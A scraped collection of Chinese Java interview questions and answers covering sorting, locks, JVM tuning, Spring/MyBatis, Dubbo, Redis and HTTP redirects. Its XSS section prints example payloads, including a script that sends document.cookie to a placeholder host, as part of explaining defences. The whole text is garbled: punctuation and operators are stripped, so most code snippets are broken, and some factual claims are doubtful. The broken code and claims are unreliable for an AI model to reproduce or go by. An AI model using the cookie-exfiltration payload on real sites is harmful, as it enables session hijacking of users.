1 4 22 25 33 88 71 4
1 4 22 25 33 71 88 4
1 4 4 22 25 33 71 88 特征
最好情况时间复杂度O(n) 。即数组本身有序如 12345最坏情况时间复杂度O(n2) 。即数组本身完全逆序如 54321平均时间复杂度O(n2) 。在数组中插入一个数据的平均时间复杂度是 O(n)插入排序执行 n 次往数组中插入操作所以平均时间复杂度是 O(n2)空间复杂度是 O(1)。是原地排序可以保持相等的值原有的前后顺序不变是稳定排序
Java中的锁是什么
在并发编程中经常会遇到多个线程访问同一个共享变量当同时对共享变量进行读写操作时就会产生数据不一致的情况。
为了解决这个问题
JDK 1.5 之前使用 synchronized 关键字拿到 Java 对象的锁保护锁定的代码块。JVM 保证同一时刻只有一个线程可以拿到这个 Java 对象的锁执行对应的代码块。JDK 1.5 开始引入了并发工具包 java.util.concurrent.locks.Lock让锁的功能更加丰富。
常见的锁
synchronized 关键字锁定代码库可重入锁 java.util.concurrent.lock.ReentrantLock可重复读写锁 java.util.concurrent.lock.ReentrantReadWriteLock
Java 中不同维度的锁分类
可重入锁
指在同一个线程在外层方法获取锁的时候进入内层方法会自动获取锁。JDK 中基本都是可重入锁避免死锁的发生。上面提到的常见的锁都是可重入锁。
公平锁 / 非公平锁
公平锁指多个线程按照申请锁的顺序来获取锁。如 java.util.concurrent.lock.ReentrantLock.FairSync非公平锁指多个线程获取锁的顺序并不是按照申请锁的顺序有可能后申请的线程先获得锁。如 synchronized、java.util.concurrent.lock.ReentrantLock.NonfairSync
独享锁 / 共享锁
独享锁指锁一次只能被一个线程所持有。synchronized、java.util.concurrent.locks.ReentrantLock 都是独享锁共享锁指锁可被多个线程所持有。ReadWriteLock 返回的 ReadLock 就是共享锁
悲观锁 / 乐观锁
悲观锁一律会对代码块进行加锁如 synchronized、java.util.concurrent.locks.ReentrantLock乐观锁默认不会进行并发修改通常采用 CAS 算法不断尝试更新悲观锁适合写操作较多的场景乐观锁适合读操作较多的场景
粗粒度锁 / 细粒度锁
粗粒度锁就是把执行的代码块都锁定细粒度锁就是锁住尽可能小的代码块java.util.concurrent.ConcurrentHashMap 中的分段锁就是一种细粒度锁粗粒度锁和细粒度锁是相对的没有什么标准
偏向锁 / 轻量级锁 / 重量级锁
JDK 1.5 之后新增锁的升级机制提升性能。通过 synchronized 加锁后一段同步代码一直被同一个线程所访问那么该线程获取的就是偏向锁偏向锁被一个其他线程访问时Java 对象的偏向锁就会升级为轻量级锁再有其他线程会以自旋的形式尝试获取锁不会阻塞自旋一定次数仍然未获取到锁就会膨胀为重量级锁
自旋锁
自旋锁是指尝试获取锁的线程不会立即阻塞而是采用循环的方式去尝试获取锁这样的好处是减少线程上下文切换的消耗缺点是循环占有、浪费 CPU 资源
方法区内存溢出怎么处理
在 Java 虚拟机中方法区是可供各线程共享的运行时内存区域。
在不同的 JDK 版本中方法区中存储的数据是不一样的
JDK 1.7 之前的版本运行时常量池是方法区的一个部分同时方法区里面存储了类的元数据信息、静态变量、即时编译器编译后的代码等。JDK 1.7 开始JVM 已经将运行时常量池从方法区中移了出来在堆中开辟了一块区域存放常量池。
永久代就是 HotSpot VM 对虚拟机规范中方法区的一种实现方式永久代和方法区的关系就像 Java 中类和接口的关系。
HotSpot VM 机在 JDK 1.8 取消了永久代改为元空间类的元信息被存储在元空间中。元空间没有使用堆内存而是与堆不相连的本地内存区域。所以理论上系统可以使用的内存有多大元空间就有多大。
JDK 1.7 及之前的版本启动时需要加载的类过多、运行时动态生成的类过多会造成方法区 OOMJDK 1.7 之前常量池里的常量过多也会造成方法区 OOM。HotSpot VM 可以调大 -XX:MaxPermSize 参数值。
JDK 1.8-XX:MaxMetaspaceSize 可以调整元空间最大的内存。
MyBatis 是如何与 Spring 集成的
MyBatis 创建了 MyBatis-Spring 项目与 Spring 进行无缝整合让 MyBatis 参与到 Spring 的事务管理之中创建映射器 mapper 和 SqlSession 并注入到 Spring 的 bean 中。
上个问题已经给出 Spring 整合 MyBatis 的 Demo
核心配置就是 dataSource、SqlSessionFactoryBean、MapperScannerConfigurer dataSource 是数据源 SqlSessionFactoryBean配置数据源、可以加载解析 MyBatis 的配置文件、可以设置 Mapper xml 的文件路径与解析、SqlSessionFactory 对象的创建等 getObject() - afterPropertiesSet() - buildSqlSessionFactory()
buildSqlSessionFactory() 方法中利用 MyBatis 的核心类解析 MyBatis 的配置文件、Mapper xml 文件生成 Configuration 对象设置其中属性创建 SqlSessionFactory 对象 MapperScannerConfigurer设置 Mapper 接口的的包扫描路径加载所有的 Mapper 接口生成 BeanDefinition设置 BeanDefinition 的 beanClass 属性为 MapperFactoryBean设置 sqlSessionFactory 和 sqlSessionTemplate 属性 MapperScannerConfigurer.postProcessBeanDefinitionRegistry() - ClassPathMapperScanner.scan() Mapper 接口代理 bean 的获取
MapperFactoryBean 实现 Spring 的 FactoryBean 接口
MapperFactoryBean 的 checkDaoConfig() 方法中向 configuration addMapper
MapperFactoryBean 的 getObject() 方法使用 SqlSessionTemplate 的 getMapper() 返回 Mapper 代理对象
Spring 生成 bean 的时候就是调用的FactoryBean 的 getObject() 方法
具体源码流程可以参考这篇文章
https://www.cnblogs.com/bug9/p/11793728.html
spring支持几种bean的作用域
以下参考 5.2.2 官方文档每个版本可能有所差别 Spring bean 的作用域包含
singletonprototype
web 应用中再加上
requestsessionapplicationwebsocket
也可以实现 Scope 接口自定义作用域BeanFactory#registerScope 方法进行注册
生产环境用的什么JDK如何配置的垃圾收集器
Oracle JDK 1.8
JDK 1.8 中有 Serial、ParNew、Parallel Scavenge、Serial Old、Parallel Old、CMS、G1默认使用 Parallel Scavenge Parallel Old。
Serial 系列是单线程垃圾收集器处理效率很高适合小内存、客户端场景使用使用参数 -XX:UseSerialGC 显式启用。Parallel 系列相当于并发版的 Serial追求高吞吐量适用于较大内存并且有多核CPU的环境默认或显式使用参数 -XX:UseParallelGC 启用。可以使用 -XX:MaxGCPauseMillis 参数指定最大垃圾收集暂停毫秒数收集器会尽量达到目标使用 -XX:GCTimeRatio 指定期望吞吐量大小默认 99用户代码运行时间:垃圾收集时间99:1。CMS追求垃圾收集暂停时间尽可能短适用于服务端较大内存且多 CPU 的应用使用参数 -XX:UseConcMarkSweepGC 显式开启会同时作用年轻代与老年代但有浮动垃圾和内存碎片化的问题。G1主要面向服务端应用的垃圾收集器适用于具有大内存的多核 CPU 的服务器追求较小的垃圾收集暂停时间和较高的吞吐量。首创局部内存回收设计思路采用不同策略实现分代不再使用固定大小、固定数量的堆内存分代区域划分而是基于 Region 内存布局优先回收价收益最大的 Region。使用参数 -XX:UseG1GC 开启。
我们生产环境使用了 G1 收集器相关配置如下
-Xmx12g-Xms12g-XX:UseG1GC-XX:InitiatingHeapOccupancyPercent45-XX:MaxGCPauseMillis200-XX:MetaspaceSize256m-XX:MaxMetaspaceSize256m-XX:MaxDirectMemorySize512m
-XX:G1HeapRegionSize 未指定
核心思路
每个内存区域设置上限避免溢出堆设置为操作系统的 70%左右超过 8 G首选 G1根据老年代对象提升速度调整新生代与老年代之间的内存比例等过 GC 信息针对项目敏感指标优化比如访问延迟、吞吐量等
Dubbo支持哪些协议各有什么特点
1、dubbo 默认协议
单一 TCP 长连接Hessian 二进制序列化和 NIO 异步通讯适合于小数据包大并发的服务调用和服务消费者数远大于服务提供者数的情况不适合传送大数据包的服务
2、rmi 协议
采用 JDK 标准的 java.rmi.* 实现采用阻塞式短连接和 JDK 标准序列化方式如果服务接口继承了 java.rmi.Remote 接口可以和原生 RMI 互操作因反序列化漏洞需升级 commons-collections3 到 3.2.2版本或 commons-collections4 到 4.1 版本对传输数据包不限消费者和传输者个数相当
3、hessian 协议
底层 Http 通讯Servlet 暴露服务Dubbo 缺省内嵌 Jetty 作为服务器实现可与原生 Hessian 服务互操作通讯效率高于 WebService 和 Java 自带的序列化参数及返回值需实现 Serializable 接口自定义实现 List、Map、Number、Date、Calendar 等接口适用于传输数据包较大提供者比消费者个数多提供者压力较大
4、http 协议
基于 http 表单的远程调用协议短连接json 序列化对传输数据包不限不支持传文件适用于同时给应用程序和浏览器 JS 使用的服务
5、webservice 协议
基于 Apache CXF 的 frontend-simple 和 transports-http 实现短连接SOAP文本序列化可与原生 WebService 服务互操作适用于系统集成、跨语言调用
6、thrift 协议
对 thrift 原生协议 [2] 的扩展添加了额外的头信息使用较少不支持传 null 值
7、基于 Redis实现的 RPC 协议
8、基于 Memcached 实现的 RPC 协议
官方文档http://dubbo.apache.org/zh-cn/docs/user/references/xml/dubbo-protocol.html
Redis事务相关的命令有哪些
multi标记一个事务块的开始返回 okexec执行所有事务块内事务块内所有命令执行的先后顺序的返回值操作被返回空值 nildiscard取消事务放弃执行事务块内的所有命令返回 okwatch监视 key 在事务执行之前是否被其他指令改动若已修改则事务内的指令取消执行返回 okunwatch取消 watch 命令对 key 的监视返回 ok
Oracle存储文件类型的字段
clob可变长度的字符型数据文本型数据类型nclob可变字符类型的数据存储的是 Unicode 字符集的字符数据blob可变长度的二进制数据Bfile存储在数据库外的操作系统文件变二进制数据不参与数据库事务操作
当输入为2的时候返回值是
case 语句缺少 break;
返回值是 10
什么是时间复杂度什么是空间复杂度
时间复杂度的全称是渐进时间复杂度asymptotic time complexity表示算法的执行时间与数据规模之间的增长关系。空间复杂度全称就是渐进空间复杂度asymptotic space complexity表示算法的存储空间与数据规模之间的增长关系。
nio中的Files类常用方法有哪些
isExecutable文件是否可以执行isSameFile是否同一个文件或目录isReadable是否可读isDirectory是否为目录isHidden是否隐藏isWritable是否可写isRegularFile是否为普通文件getPosixFilePermissions获取POSIX文件权限windows系统调用此方法会报错setPosixFilePermissions设置POSIX文件权限getOwner获取文件所属人setOwner设置文件所属人createFile创建文件newInputStream打开新的输入流newOutputStream打开新的输出流createDirectory创建目录当父目录不存在会报错createDirectories创建目录当父目录不存在会自动创建createTempFile创建临时文件newBufferedReader打开或创建一个带缓存的字符输入流probeContentType探测文件的内容类型list目录中的文件、文件夹列表find查找文件size文件字节数copy文件复制lines读出文件中的所有行move移动文件位置exists文件是否存在walk遍历所有目录和文件write向一个文件写入字节delete删除文件getFileStore返回文件存储区newByteChannel打开或创建文件返回一个字节通道来访问文件readAllLines从一个文件读取所有行字符串setAttribute设置文件属性的值getAttribute获取文件属性的值newBufferedWriter打开或创建一个带缓存的字符输出流readAllBytes从一个文件中读取所有字节createTempDirectory在特殊的目录中创建临时目录deleteIfExists如果文件存在删除文件notExists判断文件不存在getLastModifiedTime获取文件最后修改时间属性setLastModifiedTime更新文件最后修改时间属性newDirectoryStream打开目录返回可迭代该目录下的目录流walkFileTree遍历文件树可用来递归删除文件等操作
如测试获取文件所属人
public static void testGetOwner() throws IOException {Path path_js Paths.get(/Users/constxiong/Desktop/index.js);System.out.println(Files.getOwner(path_js));
}具体介绍和使用可参照
https://www.cnblogs.com/ixenos/p/5851976.htmlhttps://www.jianshu.com/p/3cb5ca04e3c8
HashSet和HashMap有什么区别
HashMap
实现 Map 接口键值对的方式存储新增元素使用 put(K key, V value) 方法底层通过对 key 进行 hash使用数组 链表或红黑树对 key、value 存储
HashSet
实现 Set 接口存储元素对象新增元素使用 add(E e) 方法底层是采用 HashMap 实现大部分方法都是通过调用 HashMap 的方法来实现
注JDK 1.8
Mapper 接口如何传递多个参数 方式一、接口中传多个参数在 xml 中使用 #{param0}、#{param1}… 方式二、使用 param 注解指定名称在 xml 中使用 #{名称} 方式三、多个参数封装到 Java bean 中 方式四、多个参数指定 keyput 到 Map 中 //方式一 //java System.out.println(“------ selectUserByParamIndex ------”); user userMapper.selectUserByParamIndex(31, “ConstXiong1”); System.out.println(user); //xml select * from user where id #{arg0} and name #{arg1} //方式二 //java System.out.println(“------ selectUserByAnnotation ------”); user userMapper.selectUserByAnnotation(31, “ConstXiong1”); System.out.println(user); //xml select * from user where id #{id} and name #{name} //方式三 //java System.out.println(“------ selectUserByPo ------”); user userMapper.selectUserByPo(new User(31, “ConstXiong1”)); System.out.println(user); //xml select * from user where id #{id} and name #{name} //方式四 //java System.out.println(“------ selectUserByMap ------”); MapString, Object param new HashMap(); param.put(“id”, 31); param.put(“name”, “ConstXiong1”); user userMapper.selectUserByMap(param); System.out.println(user); //xml select * from user where id #{id} and name #{name}
打印结果
------ selectUserByParamIndex ------
User{id31, nameConstXiong1, mcnull}
------ selectUserByAnnotation ------
User{id31, nameConstXiong1, mcnull}
------ selectUserByPo ------
User{id31, nameConstXiong1, mcnull}
------ selectUserByMap ------
User{id31, nameConstXiong1, mcnull}Math.random()的返回值是多少
greater than or equal to 0.0 and less than 1.0
一个不包含相同元素的整数集合返回所有可能的不重复子集集合 package constxiong.interview;import java.util.ArrayList;
import java.util.List;/*** 一个不包含相同元素的整数集合返回所有可能的不重复子集集合* * author ConstXiong* date 2019-11-06 14:09:49*/
public class TestGetAllSubArray {public static void main(String[] args) {int[] arr {1, 2, 3};System.out.println(getAllSubList(arr));}public static ListListInteger getAllSubList(int[] arr) {ListListInteger res new ArrayListListInteger();if (arr.length 0 || arr null) {return res;}
// Arrays.sort(arr);//排序 ListInteger item new ArrayListInteger();subList(arr, 0, item, res);// res.add(new ArrayListInteger());// 如果需要加上空集return res;}/*** 递归获取子集合* 从数组第一位数开始获取该数与后面数组合的所有可能。第一位组合完到第二位...直到最后一位* param arr* param start* param item* param res*/public static void subList(int[] arr, int start, ListInteger item, ListListInteger res) {for (int i start; i arr.length; i) {item.add(arr[i]);res.add(new ArrayListInteger(item));subList(arr, i 1, item, res);item.remove(item.size() - 1);}}}打印结果
[[1], [1, 2], [1, 2, 3], [1, 3], [2], [2, 3], [3]]什么是XSS攻击如何避免
**XSS 攻击即跨站脚本攻击Cross Site Scripting它是 web 程序中常见的漏洞。 **
原理
攻击者往 web 页面里插入恶意的 HTML 代码Javascript、css、html 标签等当用户浏览该页面时嵌入其中的 HTML 代码会被执行从而达到恶意攻击用户的目的。如盗取用户 cookie 执行一系列操作破坏页面结构、重定向到其他网站等。
种类
1、DOM Based XSS基于网页 DOM 结构的攻击
例如 input 标签 value 属性赋值 //jsp input type“text” value“% getParameter(“content”) %”
访问
http://xxx.xxx.xxx/search?contentscriptalert(XSS);/script //弹出 XSS 字样
http://xxx.xxx.xxx/search?contentscriptwindow.open(xxx.aaa.xxx?paramdocument.cookie)/script //把当前页面的 cookie 发送到 xxxx.aaa.xxx 网站利用 a 标签的 href 属性的赋值 //jsp a href“escape(% getParameter(“newUrl”) %)”跳转…
访问
http://xxx.xxx.xxx?newUrljavascript:alert(XSS) //点击 a 标签就会弹出 XSS 字样
变换大小写
http://xxx.xxx.xxx?newUrlJAvaScript:alert(XSS) //点击 a 标签就会弹出 XSS 字样
加空格
http://xxx.xxx.xxx?newUrl JavaScript :alert(XSS) //点击 a 标签就会弹出 XSS 字样image 标签 src 属性onload、onerror、onclick 事件中注入恶意代码
2、Stored XSS存储式XSS漏洞
form actionsave.doinput namecontent value
/form输入 提交 当别人访问到这个页面时就会把页面的 cookie 提交到 xxx.aaa.xxx攻击者就可以获取到 cookie
预防思路
web 页面中可由用户输入的地方如果对输入的数据转义、过滤处理后台输出页面的时候也需要对输出内容进行转义、过滤处理因为攻击者可能通过其他方式把恶意脚本写入数据库前端对 html 标签属性、css 属性赋值的地方进行校验
注意
各种语言都可以找到 escapeHTML() 方法可以转义 html 字符。
scriptwindow.open(xxx.aaa.xxx?paramdocument.cookie)/script
转义后
%3Cscript%3Ewindow.open%28%22xxx.aaa.xxx%3Fparam%3D%22document.cookie%29%3C/script%3E需要考虑项目中的一些要求比如转义会加大存储。可以考虑自定义函数部分字符转义。
详细可以参考
XSS攻击及防御前端安全系列一如何防止XSS攻击浅谈XSS攻击的那些事附常用绕过姿势
和的作用和区别 逻辑与 两边的表达式都会进行运算整数的位运算符 短路与 左边的表达式结果为 false 时 右边的表达式不参与计算 package constxiong.interview; /** 测试 author ConstXiong */ public class TestAnd { public static void main(String[] args) { int x 10; int y 9; if (x 9 y 9) { } System.out.println(x x , y y); int a 10;int b 9;if (a 9 b 9) {//a 9 为 false所以 b 不会运算b9}System.out.println(a a , b b);//00000000000000000000000000000001//00000000000000000000000000000010////00000000000000000000000000000000System.out.println(1 2);//打印0} }
打印
x 10, y 10
a 10, b 9
0Java中基本类型的转换规则
**等级低到高: **
byte、short、int、long、float、doublechar、int、long、float、double
自动转换运算过程中低级可以自动向高级转换
强制转换高级需要强制转换为低级可能会丢失精度
规则 右边先自动转换成表达式中最高级的数据类型再进行运算。整型经过运算会自动转化最低 int 级别如两个 char 类型的相加得到的是一个 int 类型的数值。 左边数据类型级别 大于 右边数据类型级别右边会自动升级 左边数据类型级别 小于 右边数据类型级别需要强制转换右边数据类型char 与 shortchar 与 byte 之间需要强转因为 char 是无符号类型
类和对象的关系
类是对象的抽象对象是类的具体实例
类是抽象的不占用内存对象是具体的占用存储空间
类是一个定义包括在一类对象中的方法和变量的模板
Iterator和 ListIterator有什么区别
ListIterator 继承 IteratorListIterator 比 Iterator多方法
1 add(E e) 将指定的元素插入列表插入位置为迭代器当前位置之前 2 set(E e) 迭代器返回的最后一个元素替换参数e 3 hasPrevious() 迭代器当前位置反向遍历集合是否含有元素 4 previous() 迭代器当前位置反向遍历集合下一个元素 5 previousIndex() 迭代器当前位置反向遍历集合返回下一个元素的下标 6 nextIndex() 迭代器当前位置返回下一个元素的下标
使用范围不同Iterator可以迭代所有集合ListIterator 只能用于List及其子类ListIterator 有 add 方法可以向 List 中添加对象Iterator 不能ListIterator 有 hasPrevious() 和 previous() 方法可以实现逆向遍历Iterator不可以ListIterator 有 nextIndex() 和previousIndex() 方法可定位当前索引的位置Iterator不可以ListIterator 有 set()方法可以实现对 List 的修改Iterator 仅能遍历不能修改
Vector、ArrayList、LinkedList 的存储性能和特性
ArrayList 和 Vector 都是使用数组存储数据允许直接按序号索引元素插入元素涉及数组扩容、元素移动等内存操作根据下标找元素快存在扩容的情况下插入慢Vector 对元素的操作使用了 synchronized 方法性能比 ArrayList 差Vector 属于遗留容器早期的 JDK 中使用的容器LinkedList 使用双向链表存储元素LinkedList 按序号查找元素需要进行前向或后向遍历所以按下标查找元素效率较低LinkedList 非线程安全LinkedList 使用的链式存储方式与数组的连续存储方式相比对内存的利用率更高LinkedList 插入数据时只需要移动指针即可所以插入速度较快
反射的使用场景、作用及优缺点?
使用场景
在编译时无法知道该对象或类可能属于哪些类程序在运行时获取对象和类的信息
作用
通过反射可以使程序代码访问装载到 JVM 中的类的内部信息获取已装载类的属性信息、方法信息
优点
提高了 Java 程序的灵活性和扩展性降低耦合性提高自适应能力。允许程序创建和控制任何类的对象无需提前硬编码目标类应用很广测试工具、框架都用到了反射
缺点
性能问题反射是一种解释操作远慢于直接代码。因此反射机制主要用在对灵活性和扩展性要求很高的系统框架上,普通程序不建议使用模糊程序内部逻辑反射绕过了源代码无法再源代码中看到程序的逻辑会带来维护问题增大了复杂性反射代码比同等功能的直接代码更复杂
FLOAT和DOUBLE的区别是什么
FLOAT 类型数据可以存储至多 8 位十进制数占 4 字节DOUBLE 类型数据可以存储至多 18 位十进制数占 8字节
List里如何剔除相同的对象 package constxiong.interview;import java.util.Arrays;
import java.util.HashSet;
import java.util.List;
import java.util.Set;/*** 测试剔除List的相同元素* author ConstXiong* date 2019-11-06 16:33:17*/
public class TestRemoveListSameElement {public static void main(String[] args) {ListString l Arrays.asList(1, 2, 3, 1);SetString s new HashSetString(l);System.out.println(s);}}Innodb引擎有什么特性
插入缓冲(insert buffer)二次写(double write)自适应哈希索引(ahi)预读(read ahead)
Mysql驱动程序是什么
Mysql 提供给 Java 编程语言的驱动程序就是这样 mysql-connector-java-5.1.18.jar 包针对不同的数据库版本驱动程序包版本也不同不同的编程语言驱动程序的包形式也是不一样的驱动程序主要帮助编程语言与 MySQL 服务端进行通信如果连接、关闭、传输指令与数据等
Java中类加载过程是什么样的
类加载的步骤为加载 - 验证 - 准备 - 解析 - 初始化。
1、加载
获取类的二进制字节流将字节流代表的静态存储结构转化为方法区运行时数据结构在堆中生成class字节码对象
2、验证连接过程的第一步确保 class 文件的字节流中的信息符合当前 JVM 的要求不会危害 JVM 的安全
3、准备为类的静态变量分配内存并将其初始化为默认值
4、解析JVM 将常量池内符号引用替换成直接引用的过程
5、初始化执行类构造器的初始化的过程
遇到过堆外内存溢出吗
Unsafe 类申请内存、JNI 对内存进行操作、Netty 调用操作系统的 malloc 函数的直接内存这些内存是不受 JVM 控制的不加限制的使用很容易发生溢出。这种情况有个显著特点dump 的堆文件信息正常甚至很小。
-XX:MaxDirectMemorySize 可以指定最大直接内存但限制不住所有堆外内存的使用。
介绍一下 Spring 容器的生命周期
BeanFactory 是 Spring IoC 底层容器ApplicationContext 是它的超集有更多能力所以这里以重点说下 ApplicationContext。
ApplicationContext 生命周期的入口在 AbstractApplicationContext#refresh 方法参照小马哥的 Spring 专栏课件
1、应用上下文启动准备。AbstractApplicationContext#prepareRefresh启动时间 startupDate状态标识 closed(false) active(true)初始化 PropertSources - initPropertySources校验 Environment 必须属性初始化早期 Spring 事件集合2、BeanFactory 创建。AbstractApplicationContext#obtainFreshBeanFactory已存在 BeanFactory先销毁 bean、关闭 BeanFactory创建 BeanFactory createBeanFactory设置 BeanFactory idcustomizeBeanFactory 方法中是否可以重复 BeanDefinition、是否可以循环依赖设置loadBeanDefinitions 方法加载 BeanDefinition赋值该 BeanFactory 到 ApplicationContext 中3、BeanFactory 准备。AbstractApplicationContext#prepareBeanFactory设置 BeanClassLoader设置 Bean 表达式处理器添加 PropertyEditorRegistrar 的实现对象 ResourceEditorRegistrar添加 BeanPostProcessor忽略 Aware 接口作为依赖注入的接口注册 ResovlableDependency 对象BeanFactory、ResourceLoader、ApplicationEventPublisher、ApplicationContext注册 ApplicationListenerDetector 对象注册 LoadTimeWeaverAwareProcessor 对象注册单例对象 Environment、Java System Properties、OS 环境变量4、BeanFactory 后置处理。AbstractApplicationContext#postProcessBeanFactory、invokeBeanFactoryPostProcessorspostProcessBeanFactory 方法由子类覆盖调用 PostProcessorRegistrationDelegate.invokeBeanFactoryPostProcessors(beanFactory, getBeanFactoryPostProcessors()) 方法注册 LoadTimeWeaverAwareProcessor设置 TempClassLoader5、BeanFactory 注册 BeanPostProcessor。AbstractApplicationContext#registerBeanPostProcessorsPostProcessorRegistrationDelegate.registerBeanPostProcessors(beanFactory, this);注册 PriorityOrdered 类型的 BeanPostProcessor Beans注册 Ordered 类型的 BeanPostProcessor Beans注册普通的 BeanPostProcessor BeansnonOrderedPostProcessors注册 MergedBeanDefinitionPostProcessor BeansinternalPostProcessors注册 ApplicationListenerDetector 对象6、初始化内建 Bean - MessageSource。AbstractApplicationContext#initMessageSource若不存在 messageSource bean注册单例 bean DelegatingMessageSource若存在且需要设置层级进行设置7、初始化内建 Bean - Spring 广播器。AbstractApplicationContext#initApplicationEventMulticaster若不存在 applicationEventMulticaster bean注册单例 bean SimpleApplicationEventMulticaster存在则设置为当前属性8、Spring 应用上下文刷新。AbstractApplicationContext#onRefresh留给子类覆盖9、Spring 事件监听器注册。AbstractApplicationContext#registerListeners添加 ApplicationListener 对象添加 BeanFactory 所注册的 ApplicationListener Beans广播早期事件10、BeanFactory 初始化完成。AbstractApplicationContext#finishBeanFactoryInitialization如果存在设置 conversionService Bean添加 StringValueResolver查找 LoadTimeWeaverAware BeanBeanFactory 置空 tempClassLoaderBeanFactory 解冻 的配置BeanFactory 初始化非延迟单例 Bean11、Spring 应用上下文刷新完成。AbstractApplicationContext#finishRefresh清空 ResourceLoader 缓存初始化 LifeCycleProcessor 对象调用 LifeCycleProcessor#onRefresh 方法发布上下文 ContextRefreshedEvent 已刷新事件向 MBeanServer 托管 Live Beans12、Spring 应用上下文启动。AbstractApplicationContext#start查找和启动 LifeCycleProcessor发布上下文 ContextStartedEvent 已启动事件13、Spring 应用下文停止。AbstractApplicationContext#stop查找和启动 LifeCycleProcessor发布上下文 ContextStoppedEvent 已停止事件14、Spring 应用下文关闭。AbstractApplicationContext#close状态标识 closed(true) active(false)Live Bean JMX 撤销托管发布上下文 ContextClosedEvent 已关闭事件查找和关闭 LifeCycleProcessor销毁所有 Bean关闭 BeanFactoryonClose 方法回调早期事件处理移除 ShutdownHookfinal finally finalize()区别
final 表示最终的、不可改变的。用于修饰类、方法和变量。final 修饰的类不能被继承final 方法也同样只能使用不能重写但能够重载final 修饰的成员变量必须在声明时给定初值或者在构造方法内设置初始值只能读取不可修改final 修饰的局部变量必须在声明时给定初值final 修饰的变量是非基本类型对象的引用地址不能变但对象的属性值可以改变finally 异常处理的一部分它只能用在 try/catch 语句中表示希望 finally 语句块中的代码最后一定被执行存在一些情况导致 finally 语句块不会被执行如 jvm 结束finalize() 是在 java.lang.Object 里定义的Object 的 finalize() 方法什么都不做对象被回收时 finalize() 方法会被调用。Java 技术允许使用 finalize() 方法在垃圾收集器将对象从内存中清除出去之前做必要清理工作在垃圾收集器删除对象之前被调用的。一般情况下此方法由JVM调用。特殊情况下可重写 finalize() 方法当对象被回收的时候释放一些资源须调用 super.finalize() 。
ArrayList和Vector的联系和区别
相同点
底层都使用数组实现功能相同实现增删改查等操作的方法相似长度可变的数组结构
不同点
Vector是早期JDK版本提供ArrayList是新版本替代Vector的Vector 的方法都是同步的线程安全ArrayList 非线程安全但性能比Vector好默认初始化容量都是10Vector 扩容默认会翻倍可指定扩容的大小ArrayList只增加 50%
工作中常用的 JVM 配置参数有哪些
Java 8 为例
日志
-XX:PrintFlagsFinal打印JVM所有参数的值-XX:PrintGC打印GC信息-XX:PrintGCDetails打印GC详细信息-XX:PrintGCTimeStamps打印GC的时间戳-Xloggc:filename设置GC log文件的位置-XX:PrintTenuringDistribution查看熬过收集后剩余对象的年龄分布信息
内存设置
-Xms设置堆的初始化内存大小-Xmx设置堆的最大内存-Xmn设置新生代内存大小-Xss设置线程栈大小-XX:NewRatio新生代与老年代比值-XX:SurvivorRatio新生代中Eden区与两个Survivor区的比值默认为8即Eden:Survivor:Survivor8:1:1-XX:MaxTenuringThreshold从年轻代到老年代最大晋升年龄。CMS 下默认为 6G1 下默认为 15-XX:MetaspaceSize设置元空间的大小第一次超过将触发 GC-XX:MaxMetaspaceSize元空间最大值-XX:MaxDirectMemorySize用于设置直接内存的最大值限制通过 DirectByteBuffer 申请的内存-XX:ReservedCodeCacheSize用于设置 JIT 编译后的代码存放区大小如果观察到这个值有限制可以适当调大一般够用即可
设置垃圾收集相关
-XX:UseSerialGC设置串行收集器-XX:UseParallelGC设置并行收集器-XX:UseConcMarkSweepGC使用CMS收集器-XX:ParallelGCThreads设置Parallel GC的线程数-XX:MaxGCPauseMillisGC最大暂停时间 ms-XX:UseG1GC使用G1垃圾收集器
CMS 垃圾回收器相关
-XX:UseCMSInitiatingOccupancyOnly-XX:CMSInitiatingOccupancyFraction与前者配合使用指定MajorGC的发生时机-XX:ExplicitGCInvokesConcurrent代码调用 System.gc() 开始并行 FullGC建议加上这个参数-XX:CMSScavengeBeforeRemark表示开启或关闭在 CMS 重新标记阶段之前的清除YGC尝试它可以降低 remark 时间建议加上-XX:ParallelRefProcEnabled可以用来并行处理 Reference以加快处理速度缩短耗时
G1 垃圾回收器相关
-XX:MaxGCPauseMillis用于设置目标停顿时间G1 会尽力达成-XX:G1HeapRegionSize用于设置小堆区大小建议保持默认-XX:InitiatingHeapOccupancyPercent表示当整个堆内存使用达到一定比例默认是 45%并发标记阶段就会被启动-XX:ConcGCThreads表示并发垃圾收集器使用的线程数量默认值随 JVM 运行的平台不同而变动不建议修改
参数查询官网地址 https://docs.oracle.com/javase/8/docs/technotes/tools/unix/java.html
建议面试时最好能记住 CMS 和 G1的参数特点突出使用较多被问的概率大
Dubbo有哪些核心组件
Provider服务的提供方Consumer调用远程服务的服务消费方Registry服务注册和发现的注册中心Monitor统计服务调用次数和调用时间的监控中心Container服务运行容器
内存泄漏和内存溢出的区别
内存溢出(out of memory)指程序在申请内存时没有足够的内存空间供其使用出现 out of memory。内存泄露(memory leak)指程序在申请内存后无法释放已申请的内存空间内存泄露堆积会导致内存被占光。memory leak 最终会导致 out of memory。
http响应码301和302代表的是什么有什么区别
从 https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Status 查到 301 和 302 状态码及含义。
301 Moved Permanently 被请求的资源已永久移动到新位置并且将来任何对此资源的引用都应该使用本响应返回的若干个 URI 之一。如果可能拥有链接编辑功能的客户端应当自动把请求的地址修改为从服务器反馈回来的地址。除非额外指定否则这个响应也是可缓存的。
302 Found 请求的资源现在临时从不同的 URI 响应请求。由于这样的重定向是临时的客户端应当继续向原有地址发送以后的请求。只有在Cache-Control或Expires中进行了指定的情况下这个响应才是可缓存的。
当网站迁移或url地址进行调整时服务端需要重定向返回保证原请求自动跳转新的地址。
http 协议的 301 和 302 状态码都代表重定向。浏览器请求某url收到这两个状态码时都会显示和跳转到 Response Headers 中的Location。即在浏览器地址输入 url A却自动跳转到url B。
java servlet 返回 301 和 302 跳转到百度首页如下
package constxiong;import java.io.IOException;import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;/*** Servlet implementation class HelloServlet*/
WebServlet(/hello)
public class HelloServlet extends HttpServlet {private static final long serialVersionUID 1L;/*** Default constructor. */public HelloServlet() {}/*** see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse response)*/protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
// response.setStatus(301);//设置返回状态码301response.setStatus(302);//设置返回状态码302response.sendRedirect(http://www.baidu.com);}/*** see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response)*/protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {}}请求urlhttp://localhost:8081/web/hello 区别
